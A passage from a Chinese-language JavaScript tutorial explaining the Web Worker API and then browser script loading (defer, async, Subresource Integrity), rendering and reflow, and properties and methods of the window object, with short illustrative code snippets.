Worker 的全局对象`WorkerGlobalScope`，不同于网页的全局对象`Window`，很多接口拿不到。比如，理论上 Worker 线程不能使用`console.log`，因为标准里面没有提到 Worker 的全局对象存在`console`接口，只定义了`Navigator`接口和`Location`接口。不过，浏览器实际上支持 Worker 线程使用`console.log`，保险的做法还是不使用这个方法。

（4）**通信联系**

Worker 线程和主线程不在同一个上下文环境，它们不能直接通信，必须通过消息完成。

（5）**脚本限制**

Worker 线程不能执行`alert()`方法和`confirm()`方法，但可以使用 XMLHttpRequest 对象发出 AJAX 请求。

（6）**文件限制**

Worker 线程无法读取本地文件，即不能打开本机的文件系统（`file://`），它所加载的脚本，必须来自网络。

### 基本用法

#### 主线程

主线程采用`new`命令，调用`Worker()`构造函数，新建一个 Worker 线程。

```js
var worker = new Worker('work.js');
```

`Worker()`构造函数的参数是一个脚本文件，该文件就是 Worker 线程所要执行的任务。由于 Worker 不能读取本地文件，所以这个脚本必须来自网络。如果下载没有成功（比如404错误），Worker 就会默默地失败。

然后，主线程调用`worker.postMessage()`方法，向 Worker 发消息。

```js
worker.postMessage('Hello World');
worker.postMessage({method: 'echo', args: ['Work']});
```

`worker.postMessage()`方法的参数，就是主线程传给 Worker 的数据。它可以是各种数据类型，包括二进制数据。

接着，主线程通过`worker.onmessage`指定监听函数，接收子线程发回来的消息。

```js
worker.onmessage = function (event) {
  doSomething(event.data);
}

function doSomething() {
  // 执行任务
  worker.postMessage('Work done!');
}
```

上面代码中，事件对象的`data`属性可以获取 Worker 发来的数据。

Worker 完成任务以后，主线程就可以把它关掉。

```js
worker.terminate();
```

#### Worker 线程

Worker 线程内部需要有一个监听函数，监听`message`事件。

```js
self.addEventListener('message', function (e) {
  self.postMessage('You said: ' + e.data);
}, false);
```

上面代码中，`self`代表子线程自身，即子线程的全局对象。因此，等同于下面两种写法。

```js
// 写法一
this.addEventListener('message', function (e) {
  this.postMessage('You said: ' + e.data);
}, false);

// 写法二
addEventListener('message', function (e) {
  postMessage('You said: ' + e.data);
}, false);
```

除了使用`self.addEventListener()`指定监听函数，也可以使用`self.onmessage`指定。

监听函数的参数是一个事件对象，它的`data`属性包含主线程发来的数据。`self.postMessage()`方法用来向主线程发送消息。

根据主线程发来的数据，Worker 线程可以调用不同的方法，下面是一个例子。

```js
self.addEventListener('message', function (e) {
  var data = e.data;
  switch (data.cmd) {
    case 'start':
      self.postMessage('WORKER STARTED: ' + data.msg);
      break;
    case 'stop':
      self.postMessage('WORKER STOPPED: ' + data.msg);
      self.close(); // Terminates the worker.
      break;
    default:
      self.postMessage('Unknown command: ' + data.msg);
  };
}, false);
```

上面代码中，`self.close()`用于在 Worker 内部关闭自身。

#### Worker 加载脚本

Worker 内部如果要加载其他脚本，有一个专门的方法`importScripts()`。

```js
importScripts('script1.js');
```

该方法可以同时加载多个脚本。

```js
importScripts('script1.js', 'script2.js');
```

#### 错误处理

主线程可以监听 Worker 是否发生错误。如果发生错误，Worker 会触发主线程的`error`事件。

```js
worker.onerror = function (event) {
  console.log(
    'ERROR: Line ', event.lineno, ' in ', event.filename, ': ', event.message
  );
};

// 或者
worker.addEventListener('error', function (event) {
  // ...
});
```

Worker 内部也可以监听`error`事件。

#### 关闭 Worker

使用完毕，为了节省系统资源，必须关闭 Worker。

```js
// 主线程
worker.terminate();

// Worker 线程
self.close();
```

### 数据通信

前面说过，主线程与 Worker 之间的通信内容，可以是文本，也可以是对象。需要注意的是，这种通信是拷贝关系，即是传值而不是传址，Worker 对通信内容的修改，不会影响到主线程。

事实上，浏览器内部的运行机制是，先将通信内容串行化，然后把串行化后的字符串发给 Worker，后者再将它还原。

主线程与 Worker 之间也可以交换二进制数据，比如 File、Blob、ArrayBuffer 等类型，也可以在线程之间发送。下面是一个例子。

```js
// 主线程
var uInt8Array = new Uint8Array(new ArrayBuffer(10));
for (var i = 0; i < uInt8Array.length; ++i) {
  uInt8Array[i] = i * 2; // [0, 2, 4, 6, 8,...]
}
worker.postMessage(uInt8Array);

// Worker 线程
self.onmessage = function (e) {
  var uInt8Array = e.data;
  postMessage('Inside worker.js: uInt8Array.toString() = ' + uInt8Array.toString());
  postMessage('Inside worker.js: uInt8Array.byteLength = ' + uInt8Array.byteLength);
};
```

但是，拷贝方式发送二进制数据，会造成性能问题。比如，主线程向 Worker 发送一个 500MB 文件，默认情况下浏览器会生成一个原文件的拷贝。为了解决这个问题，JavaScript 允许主线程把二进制数据直接转移给子线程，但是一旦转移，主线程就无法再使用这些二进制数据了，这是为了防止出现多个线程同时修改数据的麻烦局面。

这种转移数据的方法，叫做[Transferable Objects](http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects)。这使得主线程可以快速把数据交给 Worker，对于影像处理、声音处理、3D 运算等就非常方便了，不会产生性能负担。

如果要直接转移数据的控制权，就要使用下面的写法。

```js
// Transferable Objects 格式
worker.postMessage(arrayBuffer, [arrayBuffer]);

// 例子
var ab = new ArrayBuffer(1);
worker.postMessage(ab, [ab]);
```

### 同页面的 Web Worker

通常情况下，Worker 载入的是一个单独的 JavaScript 脚本文件，但是也可以载入与主线程在同一个网页的代码。

```html
<!DOCTYPE html>
  <body>
    <script id="worker" type="app/worker">
      addEventListener('message', function () {
        postMessage('some message');
      }, false);
    </script>
  </body>
</html>
```

上面是一段嵌入网页的脚本，注意必须指定`<script>`标签的`type`属性是一个浏览器不认识的值，上例是`app/worker`。

然后，读取这一段嵌入页面的脚本，用 Worker 来处理。

```js
var blob = new Blob([document.querySelector('#worker').textContent]);
var url = window.URL.createObjectURL(blob);
var worker = new Worker(url);

worker.onmessage = function (e) {
  // e.data === 'some message'
};
```

上面代码中，先将嵌入网页的脚本代码，转成一个二进制对象，然后为这个二进制对象生成 URL，再让 Worker 加载这个 URL。这样就做到了，主线程和 Worker 的代码都在同一个网页上面。

### 实例：Worker 线程完成轮询

有时，浏览器需要轮询服务器状态，以便第一时间得知状态改变。这个工作可以放在 Worker 里面。

```js
function createWorker(f) {
  var blob = new Blob(['(' + f.toString() + ')()']);
  var url = window.URL.createObjectURL(blob);
  var worker = new Worker(url);
  return worker;
}

var pollingWorker = createWorker(function (e) {
  var cache;

  function compare(new, old) { ... };

  setInterval(function () {
    fetch('/my-api-endpoint').then(function (res) {
      var data = res.json();

      if (!compare(data, cache)) {
        cache = data;
        self.postMessage(data);
      }
    })
  }, 1000)
});

pollingWorker.onmessage = function () {
  // render data
}

pollingWorker.postMessage('init');
```

上面代码中，Worker 每秒钟轮询一次数据，然后跟缓存做比较。如果不一致，就说明服务端有了新的变化，因此就要通知主线程。

### 实例： Worker 新建 Worker

Worker 线程内部还能再新建 Worker 线程（目前只有 Firefox 浏览器支持）。下面的例子是将一个计算密集的任务，分配到10个 Worker。

主线程代码如下。

```js
var worker = new Worker('worker.js');
worker.onmessage = function (event) {
  document.getElementById('result').textContent = event.data;
}
```

Worker 线程代码如下。

```js
// worker.js

// settings
var num_workers = 10;
var items_per_worker = 1000000;

// start the workers
var result = 0;
var pending_workers = num_workers;
for (var i = 0; i < num_workers; i += 1) {
  var worker = new Worker('core.js');
  worker.postMessage(i * items_per_worker);
  worker.postMessage((i + 1) * items_per_worker);
  worker.onmessage = storeResult;
}

// handle the results
function storeResult(event) {
  result += event.data;
  pending_workers -= 1;
  if (pending_workers <= 0)
    postMessage(result); // finished!
}
```

上面代码中，Worker 线程内部新建了10个 Worker 线程，并且依次向这10个 Worker 发送消息，告知了计算的起点和终点。计算任务脚本的代码如下。

```js
// core.js
var start;
onmessage = getStart;
function getStart(event) {
  start = event.data;
  onmessage = getEnd;
}

var end;
function getEnd(event) {
  end = event.data;
  onmessage = null;
  work();
}

function work() {
  var result = 0;
  for (var i = start; i < end; i += 1) {
    // perform some complex calculation here
    result += 1;
  }
  postMessage(result);
  close();
}
```

### API

#### 主线程

浏览器原生提供`Worker()`构造函数，用来供主线程生成 Worker 线程。

```js
var myWorker = new Worker(jsUrl, options);
```

`Worker()`构造函数，可以接受两个参数。第一个参数是脚本的网址（必须遵守同源政策），该参数是必需的，且只能加载 JS 脚本，否则会报错。第二个参数是配置对象，该对象可选。它的一个作用就是指定 Worker 的名称，用来区分多个 Worker 线程。

```js
// 主线程
var myWorker = new Worker('worker.js', { name : 'myWorker' });

// Worker 线程
self.name // myWorker
```

`Worker()`构造函数返回一个 Worker 线程对象，用来供主线程操作 Worker。Worker 线程对象的属性和方法如下。

* Worker.onerror：指定 error 事件的监听函数。
* Worker.onmessage：指定 message 事件的监听函数，发送过来的数据在`Event.data`属性中。
* Worker.onmessageerror：指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时，会触发这个事件。
* Worker.postMessage()：向 Worker 线程发送消息。
* Worker.terminate()：立即终止 Worker 线程。

#### Worker 线程

Web Worker 有自己的全局对象，不是主线程的`window`，而是一个专门为 Worker 定制的全局对象。因此定义在`window`上面的对象和方法不是全部都可以使用。

Worker 线程有一些自己的全局属性和方法。

* self.name： Worker 的名字。该属性只读，由构造函数指定。
* self.onmessage：指定`message`事件的监听函数。
* self.onmessageerror：指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时，会触发这个事件。
* self.close()：关闭 Worker 线程。
* self.postMessage()：向产生这个 Worker 的线程发送消息。
* self.importScripts()：加载 JS 脚本。

---

---
url: /js/c1una9pn/index.md
---
# BOM 上
## 代码嵌入

JavaScript 是浏览器的内置脚本语言。也就是说，浏览器内置了 JavaScript 引擎，并且提供各种接口，让 JavaScript 脚本可以控制浏览器的各种功能。

一旦网页内嵌了 JavaScript 脚本，浏览器加载网页，就会去执行脚本，从而达到操作浏览器的目的，实现网页的各种动态效果。

使用`<script>`标签嵌入Js代码的时候，有一个`type`属性，用来指定脚本类型。对 JavaScript 脚本来说，`type`属性可以设为两种值。但是嵌入JavaScript 脚本时，`type`属性可以省略。

* `text/javascript`：这是默认值，也是历史上一贯设定的值。如果你省略`type`属性，默认就是这个值。对于老式浏览器，设为这个值比较好。
* `application/javascript`：对于较新的浏览器，建议设为这个值。

\*\*注意：\*\*如果`type`属性的值，浏览器不认识，那么它不会执行其中的代码。

```html
<script id="mydata" type="x-custom-data">
  console.log('Hello World');
</script>
```

上面的代码，浏览器不会执行，也不会显示它的内容，因为不认识它的`type`属性。

但是，这个`<script>`节点依然存在于 DOM 之中，可以使用`<script>`节点的`text`属性读出它的内容。

```js
document.getElementById('mydata').text
//   console.log('Hello World');
```

当使用`<script>`标签加载外部脚本的时候，如果脚本文件使用了非英语字符，还应该注明字符的编码，在`<script>`标签中加入`charset="utf-8"`属性。

**防止攻击者篡改外部脚本**：

`script`标签允许设置一个`integrity`属性，写入该外部脚本的 Hash 签名，用来验证脚本的一致性。

`integrity`属性是子资源完整性(Subresource Integrity)规范的一部分，浏览器会计算加载脚本的哈希值，与integrity属性提供的哈希值比对，只有哈希值匹配时才会执行脚本，不匹配则拒绝执行

integrity值由两部分组成，格式为：`算法名-哈希值`，支持的算法包括：

* `sha256`
* `sha384`
* `sha512`

例如：`sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC`

`integrity`属性主要用于防止`CDN`劫持，确保从CDN加载的脚本未被篡改

**生成integrity值**：

可以使用openssl工具生成：

```bash
openssl dgst -sha384 -binary example.js | openssl base64 -A
```

**注意：** **必须与crossorigin="anonymous"一起使用**：因为integrity检查需要CORS支持，**不影响同源脚本**：同域脚本不需要此属性，**性能影响**：浏览器需要计算哈希值，会有微小性能开销

## script 元素

### 工作原理

浏览器加载 JavaScript 脚本，主要通过`<script>`元素完成。正常的网页加载流程是这样的。

1. 浏览器一边下载 HTML 网页，一边开始解析。也就是说，不等到下载完，就开始解析。
2. 解析过程中，浏览器发现`<script>`元素，就暂停解析，把网页渲染的控制权转交给 JavaScript 引擎。
3. 如果`<script>`元素引用了外部脚本，就下载该脚本再执行，否则就直接执行代码。
4. JavaScript 引擎执行完毕，控制权交还渲染引擎，恢复往下解析 HTML 网页。

**加载外部脚本时，浏览器会暂停页面渲染，等待脚本下载并执行完成后，再继续渲染。**

原因是 JavaScript 代码可以修改 DOM，所以必须把控制权让给它，否则会导致复杂的线程竞赛的问题。

如果外部脚本加载时间很长（一直无法完成下载），那么浏览器就会一直等待脚本下载完成，造成网页长时间失去响应，浏览器就会呈现“假死”状态，这被称为“**阻塞效应**”。

为了避免这种情况，较好的做法是将`<script>`标签都放在页面底部，而不是头部。

这样即使遇到脚本失去响应，网页主体的渲染也已经完成了，用户至少可以看到内容，而不是面对一张空白的页面。如果某些脚本代码非常重要，一定要放在页面头部的话，最好直接将代码写入页面，而不是连接外部脚本文件，这样能缩短加载时间。

脚本文件都放在网页尾部加载，还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点，JavaScript 会报错，如果脚本都在网页尾部加载，就不存在这个问题，因为这时 DOM 肯定已经生成了。

```html
<head>
  <script>
    console.log(document.body.innerHTML);	// Error
  </script>
</head>
<body>
    ...
</body>
```

上面代码执行时会报错，因为此时`document.body`元素还未生成。

一种解决方法是设定`DOMContentLoaded`事件的回调函数。

```js
<head>
  <script>
    document.addEventListener(
      'DOMContentLoaded',
      function (event) {
        console.log(document.body.innerHTML);
      }
    );
  </script>
</head>
```

上面代码中，指定`DOMContentLoaded`事件发生后，才开始执行相关代码。`DOMContentLoaded`事件只有在 DOM 结构生成之后才会触发。

当`<script>`标签指定的外部脚本文件下载和解析完成，会触发一个`load`事件，可以把所需执行的代码，放在这个事件的回调函数里面。

```js
<script src="jquery.min.js" onload="console.log(document.body.innerHTML)">
</script>
```

如果将脚本放在页面底部，就可以完全按照正常的方式写。

如果有多个`script`标签，比如下面这样。

```js
<script src="a.js"></script>
<script src="b.js"></script>
```

浏览器会同时并行下载`a.js`和`b.js`，但是，执行时会保证先执行`a.js`，然后再执行`b.js`，即使后者先下载完成，也是如此。

也就是说，脚本的执行顺序由它们在页面中的出现顺序决定，这是为了保证脚本之间的依赖关系不受到破坏。

当然，加载这两个脚本都会产生“**阻塞效应**”，必须等到它们都加载完成，浏览器才会继续页面渲染。

解析和执行 CSS，也会产生阻塞。Firefox 浏览器会等到脚本前面的所有样式表，都下载并解析完，再执行脚本；Webkit则是一旦发现脚本引用了样式，就会暂停执行脚本，等到样式表下载并解析完，再恢复执行。

此外，对于来自同一个域名的资源，比如脚本文件、样式表文件、图片文件等，浏览器一般有限制，同时最多下载6～20个资源，即最多同时打开的 TCP 连接有限制，这是为了防止对服务器造成太大压力。如果是来自不同域名的资源，就没有这个限制。所以，通常把静态文件放在不同的域名之下，以加快下载速度。

### defer 属性

为了解决脚本文件下载阻塞网页渲染的问题，一个方法是对`<script>`元素加入`defer`属性。它的作用是延迟脚本的执行，等到 DOM 加载生成后，再执行脚本。

`defer`属性的运行流程如下。

1. 浏览器开始解析 HTML 网页。
2. 解析过程中，发现带有`defer`属性的`<script>`元素。
3. 浏览器继续往下解析 HTML 网页，同时并行下载`<script>`元素加载的外部脚本。
4. 浏览器完成解析 HTML 网页，此时再回过头执行已经下载完成的脚本。

有了`defer`属性，浏览器下载脚本文件的时候，不会阻塞页面渲染。

对于内置而不是加载外部脚本的`script`标签，以及动态生成的`script`标签，`defer`属性不起作用。

### async 属性

`async`属性的作用是，使用另一个进程下载脚本，下载时不会阻塞渲染。

1. 浏览器开始解析 HTML 网页。
2. 解析过程中，发现带有`async`属性的`script`标签。
3. 浏览器继续往下解析 HTML 网页，同时并行下载`<script>`标签中的外部脚本。
4. 脚本下载完成，浏览器暂停解析 HTML 网页，开始执行下载的脚本。
5. 脚本执行完毕，浏览器恢复解析 HTML 网页。

`async`属性可以保证脚本下载的同时，浏览器继续渲染。需要注意的是，一旦采用这个属性，就无法保证脚本的执行顺序。哪个脚本先下载结束，就先执行那个脚本。

**总结**：

一般来说，如果脚本之间没有依赖关系，就使用`async`属性，如果脚本之间有依赖关系，就使用`defer`属性。

### 动态加载

```js
['a.js', 'b.js'].forEach(function(src) {
  var script = document.createElement('script');
  script.src = src;
  document.head.appendChild(script);
});
```

动态生成的`script`标签不会阻塞页面渲染，也就不会造成浏览器假死。

但是这种方法无法保证脚本的执行顺序，哪个脚本文件先下载完成，就先执行哪个。

避免这个问题，可以设置async属性为`false`。

```js
script.async = false;
```

加入上面代码后，可以保证`b.js`在`a.js`后面执行。不过需要注意的是，在这段代码后面加载的脚本文件，会因此都等待`b.js`执行完成后再执行。

还可以为动态加载的脚本指定回调函数

```js
function loadScript(src, done) {
  var js = document.createElement('script');
  js.src = src;
  js.onload = function() {
    done();
  };
  js.onerror = function() {
    done(new Error('Failed to load script ' + src));
  };
  document.head.appendChild(js);
}
```

### 加载协议

如果不指定协议，浏览器默认采用 HTTP 协议下载。

```js
<script src="example.js"></script>
```

如果要采用 HTTPS 协议下载，必需写明。

但是有时我们会希望，根据页面本身的协议来决定加载协议，这时可以采用下面的写法。

```js
<script src="//example.js"></script>
```

## 浏览器的组成

浏览器的核心是两部分：**渲染引擎**和 **JavaScript 解释器**（又称 JavaScript 引擎）。

### 渲染引擎

渲染引擎的主要作用是，将网页代码渲染为用户视觉可以感知的平面文档。

渲染引擎处理网页，通常分成四个阶段。

1. 解析代码：HTML 代码解析为 DOM，CSS 代码解析为 CSSOM（CSS Object Model）。
2. 对象合成：将 DOM 和 CSSOM 合成一棵渲染树（render tree）。
3. 布局：计算出渲染树的布局（layout）。
4. 绘制：将渲染树绘制到屏幕。

以上四步并非严格按顺序执行，往往第一步还没完成，第二步和第三步就已经开始了。所以，会看到这种情况：网页的 HTML 代码还没下载完，但浏览器已经显示出内容了。

### 重流和重绘

渲染树转换为网页布局，称为“布局流”（flow）。

布局显示到页面的这个过程，称为“绘制”（paint）。它们都具有阻塞效应，并且会耗费很多时间和计算资源。

页面生成以后，脚本操作和样式表操作，都会触发“重流”（reflow）和“重绘”（repaint）。

用户的互动也会触发重流和重绘，比如设置了鼠标悬停（`a:hover`）效果、页面滚动、在输入框中输入文本、改变窗口大小等等。

重流和重绘并不一定一起发生，重流必然导致重绘，重绘不一定需要重流。比如改变元素颜色，只会导致重绘，而不会导致重流；改变元素的布局，则会导致重绘和重流。

大多数情况下，浏览器会智能判断，将重流和重绘只限制到相关的子树上面，最小化所耗费的代价，而不会全局重新生成网页。

作为开发者，应该尽量设法降低重绘的次数和成本。

比如，尽量不要变动高层的 DOM 元素，而以底层 DOM 元素的变动代替；再比如，重绘`table`布局和`flex`布局，开销都会比较大。

```js
var foo = document.getElementById('foobar');

foo.style.color = 'blue';
foo.style.marginTop = '30px';
```

上面的代码只会导致一次重绘，因为浏览器会累积 DOM 变动，然后一次性执行。

下面是一些优化技巧。

* 读取 DOM 或者写入 DOM，尽量写在一起，不要混杂。不要读取一个 DOM 节点，然后立刻写入，接着再读取一个 DOM 节点。
* 缓存 DOM 信息。
* 不要一项一项地改变样式，而是使用 CSS class 一次性改变样式。
* 使用`documentFragment`操作 DOM
* 动画使用`absolute`定位或`fixed`定位，这样可以减少对其他元素的影响。
* 只在必要时才显示隐藏元素。
* 使用`window.requestAnimationFrame()`，因为它可以把代码推迟到下一次重绘之前执行，而不是立即要求页面重绘。
* 使用虚拟 DOM（virtual DOM）库。

### JavaScript 引擎

JavaScript 引擎的主要作用是，读取网页中的 JavaScript 代码，对其处理后运行。

JavaScript 是一种解释型语言，也就是说，它不需要编译，由解释器实时运行。

这样的好处是运行和修改都比较方便，刷新页面就可以重新解释；缺点是每次运行都要调用解释器，系统开销较大，运行速度慢于编译型语言。

为了提高运行速度，目前的浏览器都将 JavaScript 进行一定程度的编译，生成类似字节码（bytecode）的中间代码，以提高运行速度。

早期，浏览器内部对 JavaScript 的处理过程如下：

1. 读取代码，进行词法分析（Lexical analysis），将代码分解成词元（token）。
2. 对词元进行语法分析（parsing），将代码整理成“语法树”（syntax tree）。
3. 使用“翻译器”（translator），将代码转为字节码（bytecode）。
4. 使用“字节码解释器”（bytecode interpreter），将字节码转为机器码。

逐行解释将字节码转为机器码，是很低效的。为了提高运行速度，现代浏览器改为采用“即时编译”（Just In Time compiler，缩写 JIT），即字节码只在运行时编译，用到哪一行就编译哪一行，并且把编译结果缓存（inline cache）。通常，一个程序被经常用到的，只是其中一小部分代码，有了缓存的编译结果，整个程序的运行速度就会显著提升。

字节码不能直接运行，而是运行在一个虚拟机（Virtual Machine）之上，一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码，有的 JavaScript 虚拟机基于源码，即只要有可能，就通过 JIT（just in time）编译器直接把源码编译成机器码运行，省略字节码步骤。这一点与其他采用虚拟机（比如 Java）的语言不尽相同。这样做的目的，是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机：

## window 对象

### window.closed

这个属性一般用来检查，使用脚本打开的新窗口是否关闭。

```js
var popup = window.open();

if ((popup !== null) && !popup.closed) {
  // 窗口仍然打开着
}
```

### window.opener

`window.opener`属性表示打开当前窗口的父窗口。如果当前窗口没有父窗口（即直接在地址栏输入打开），则返回`null`。

```js
window.open().opener === window // true
```

```js
var newWin = window.open('example.html', 'newWindow', 'height=400,width=400');
newWin.opener = null;
```

上面代码中，子窗口的`opener`属性设为`null`，两个窗口之间就没办法再联系了。

通过`opener`属性，可以获得父窗口的全局属性和方法，但只限于两个窗口同源的情况，且其中一个窗口由另一个打开。`<a>`元素添加`rel="noopener"`属性，可以防止新打开的窗口获取父窗口，减轻被恶意网站修改父窗口 URL 的风险。

### 位置大小属性

#### **（1）window.screenX，window.screenY**

`window.screenX`和`window.screenY`属性，返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离（单位像素）。这两个属性只读。

#### **（2） window.innerHeight，window.innerWidth**

`window.innerHeight`和`window.innerWidth`属性，返回网页在当前窗口中可见部分的高度和宽度，即“视口”（viewport）的大小（单位像素）。这两个属性只读。

用户放大网页的时候（比如将网页从100%的大小放大为200%），这两个属性会变小。因为这时网页的像素大小不变（比如宽度还是960像素），只是每个像素占据的屏幕空间变大了，因此可见部分（视口）就变小了。

注意，这两个属性值包括滚动条的高度和宽度。

#### **（3）window.outerHeight，window.outerWidth**

`window.outerHeight`和`window.outerWidth`属性返回浏览器窗口的高度和宽度，包括浏览器菜单和边框（单位像素）。这两个属性只读。

#### **（4）window.scrollX，window.scrollY**

`window.scrollX`属性返回页面的水平滚动距离，`window.scrollY`属性返回页面的垂直滚动距离，单位都为像素。这两个属性只读。

注意，这两个属性的返回值不是整数，而是双精度浮点数。如果页面没有滚动，它们的值就是`0`。

举例来说，如果用户向下拉动了垂直滚动条75像素，那么`window.scrollY`就是75左右。用户水平向右拉动水平滚动条200像素，`window.scrollX`就是200左右。

```js
if (window.scrollY < 75) {
  window.scroll(0, 75);
}
```

上面代码中，如果页面向下滚动的距离小于75像素，那么页面向下滚动75像素。

#### **（5）window.pageXOffset，window.pageYOffset**

`window.pageXOffset`属性和`window.pageYOffset`属性，是`window.scrollX`和`window.scrollY`别名。

### 事件

`window`对象可以接收以下事件。

#### load 事件和 onload 属性

`load`事件发生在文档在浏览器窗口加载完毕时。`window.onload`属性可以指定这个事件的回调函数。

```js
window.onload = function() {...}
```

#### error 事件和 onerror 属性

浏览器脚本发生错误时，会触发`window`对象的`error`事件。我们可以通过`window.onerror`属性对该事件指定回调函数。

### 方法

`window.alert()`、`window.prompt()`、`window.confirm()`都是浏览器与用户互动的全局方法。它们会弹出不同的对话框，要求用户做出回应。注意，这三个方法弹出的对话框，都是浏览器统一规定的式样，无法定制。

这三个方法都具有堵塞效应，一旦弹出对话框，整个页面就是暂停执行，等待用户做出反应。

#### window.alert()

`window.alert()`方法弹出的对话框，只有一个“确定”按钮，往往用来通知用户某些信息。

可以用`\n`指定换行。

#### window.prompt()

`window.prompt()`方法弹出的对话框，提示文字的下方，还有一个输入框，要求用户输入信息，并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据。

```js
var result = prompt('您的年龄？', 25)
```

上面代码会跳出一个对话框，文字提示为“您的年龄？”，要求用户在对话框中输入自己的年龄（默认显示25）。用户填入的值，会作为返回值存入变量`result`。

`window.prompt()`方法的第二个参数是可选的，但是最好总是提供第二个参数，作为输入框的默认值。

#### window.confirm()

`window.confirm()`方法弹出的对话框，除了提示信息之外，只有“确定”和“取消”两个按钮，往往用来征询用户是否同意。

`confirm`方法返回一个布尔值，如果用户点击“确定”，返回`true`；如果用户点击“取消”，则返回`false`。

#### window.open()

`window.open`方法用于新建另一个浏览器窗口，类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用，如果无法新建窗口，则返回`null`。

```js
var popup = window.open('somefile.html');
```

上面代码会让浏览器弹出一个新建窗口，网址是当前域名下的`somefile.html`。

`open`方法一共可以接受三个参数。

```js
window.open(url, windowName, [windowFeatures])
```

* `url`：字符串，表示新窗口的网址。如果省略，默认网址就是`about:blank`。
* `windowName`：字符串，表示新窗口的名字。如果该名字的窗口已经存在，则占用该窗口，不再新建窗口。如果省略，就默认使用`_blank`，表示新建一个没有名字的窗口。另外还有几个预设值，`_self`表示当前窗口，`_top`表示顶层窗口，`_parent`表示上一层窗口。
* `windowFeatures`：字符串，内容为逗号分隔的键值对（详见下文），表示新窗口的参数，比如有没有提示栏、工具条等等。如果省略，则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口，则该参数不起作用，浏览器沿用以前窗口的参数。

```js
var popup = window.open(
  'somepage.html',
  'DefinitionsWindows',
  'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);
```

上面代码表示，打开的新窗口高度和宽度都为200像素，没有地址栏，但有状态栏和滚动条，允许用户调整大小。

第三个参数可以设定如下属性。

* left：新窗口距离屏幕最左边的距离（单位像素）。注意，新窗口必须是可见的，不能设置在屏幕以外的位置。
* top：新窗口距离屏幕最顶部的距离（单位像素）。
* height：新窗口内容区域的高度（单位像素），不得小于100。
* width：新窗口内容区域的宽度（单位像素），不得小于100。
* outerHeight：整个浏览器窗口的高度（单位像素），不得小于100。
* outerWidth：整个浏览器窗口的宽度（单位像素），不得小于100。
* menubar：是否显示菜单栏。
* toolbar：是否显示工具栏。
* location：是否显示地址栏。
* personalbar：是否显示用户自己安装的工具栏。
* status：是否显示状态栏。
* dependent：是否依赖父窗口。如果依赖，那么父窗口最小化，该窗口也最小化；父窗口关闭，该窗口也关闭。
* minimizable：是否有最小化按钮，前提是`dialog=yes`。
* noopener：新窗口将与父窗口切断联系，即新窗口的`window.opener`属性返回`null`，父窗口的`window.open()`方法也返回`null`。
* resizable：新窗口是否可以调节大小。
* scrollbars：是否允许新窗口出现滚动条。
* dialog：新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。
* titlebar：新窗口是否显示标题栏。
* alwaysRaised：是否显示在所有窗口的顶部。
* alwaysLowered：是否显示在父窗口的底下。
* close：新窗口是否显示关闭按钮。

对于那些可以打开和关闭的属性，设为`yes`或`1`或不设任何值就表示打开，比如`status=yes`、`status=1`、`status`都会得到同样的结果。如果想设为关闭，不用写`no`，而是直接省略这个属性即可。也就是说，如果在第三个参数中设置了一部分属性，其他没有被设置的`yes/no`属性都会被设成`no`，只有`titlebar`和关闭按钮除外（它们的值默认为`yes`）。

上面这些属性，属性名与属性值之间用等号连接，属性与属性之间用逗号分隔。

```js
'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
```

另外，`open()`方法的第二个参数虽然可以指定已经存在的窗口，但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制，浏览器只有在两个窗口同源，或者目标窗口被当前网页打开的情况下，才允许`open`方法指向该窗口。

`window.open`方法返回新窗口的引用。

```js
var windowB = window.open('windowB.html', 'WindowB');
windowB.window.name // "WindowB"
```

注意，如果新窗口和父窗口不是同源的（即不在同一个域），它们彼此不能获取对方窗口对象的内部属性。

```js
var w = window.open();
console.log('已经打开新窗口');
w.location = 'http://example.com';
```

上面代码先打开一个新窗口，然后在该窗口弹出一个对话框，再将网址导向`example.com`。

由于`open`这个方法很容易被滥用，**许多浏览器默认都不允许脚本自动新建窗口**。

只允许在用户点击链接或按钮时，脚本做出反应，弹出新窗口。因此，有必要检查一下打开新窗口是否成功。

```js
var popup = window.open();
if (popup === null) {
  // 新建窗口失败
}
```

#### window.close()

`window.close`方法用于关闭当前窗口，一般只用来关闭`window.open`方法新建的窗口。

```js
popup.close()
```

该方法只对顶层窗口有效，`iframe`框架之中的窗口使用该方法无效。

#### window.stop()

`window.stop()`方法完全等同于单击浏览器的停止按钮，会停止加载图像、视频等正在或等待加载的对象。

#### window.moveTo()

`window.moveTo()`方法用于移动浏览器窗口到指定位置。它接受两个参数，分别是窗口左上角距离屏幕左上角的水平距离和垂直距离，单位为像素。

```js
window.moveTo(100, 200)
```

上面代码将窗口移动到屏幕`(100, 200)`的位置。

#### window.moveBy()

`window.moveBy()`方法将窗口移动到一个相对位置。它接受两个参数，分别是窗口左上角向右移动的水平距离和向下移动的垂直距离，单位为像素。

```js
window.moveBy(25, 50)
```

上面代码将窗口向右移动25像素、向下移动50像素。

为了防止有人滥用这两个方法，随意移动用户的窗口，目前只有一种情况，浏览器允许用脚本移动窗口：该窗口是用`window.open()`方法新建的，并且窗口里只有它一个 Tab 页。除此以外的情况，使用上面两个方法都是无效的。

#### window.resizeTo()

`window.resizeTo()`方法用于缩放窗口到指定大小。

#### window.resizeBy()

`window.resizeBy()`方法用于缩放窗口。它与`window.resizeTo()`的区别是，它按照相对的量缩放，`window.resizeTo()`需要给出缩放后的绝对大小。

#### window.scrollTo()

`window.scrollTo`方法用于将文档滚动到指定位置。它接受两个参数，表示滚动后位于窗口左上角的页面坐标。

```js
window.scrollTo(x-coord, y-coord)
```

它也可以接受一个配置对象作为参数。

```js
window.scrollTo(options)
```

配置对象`options`有三个属性。

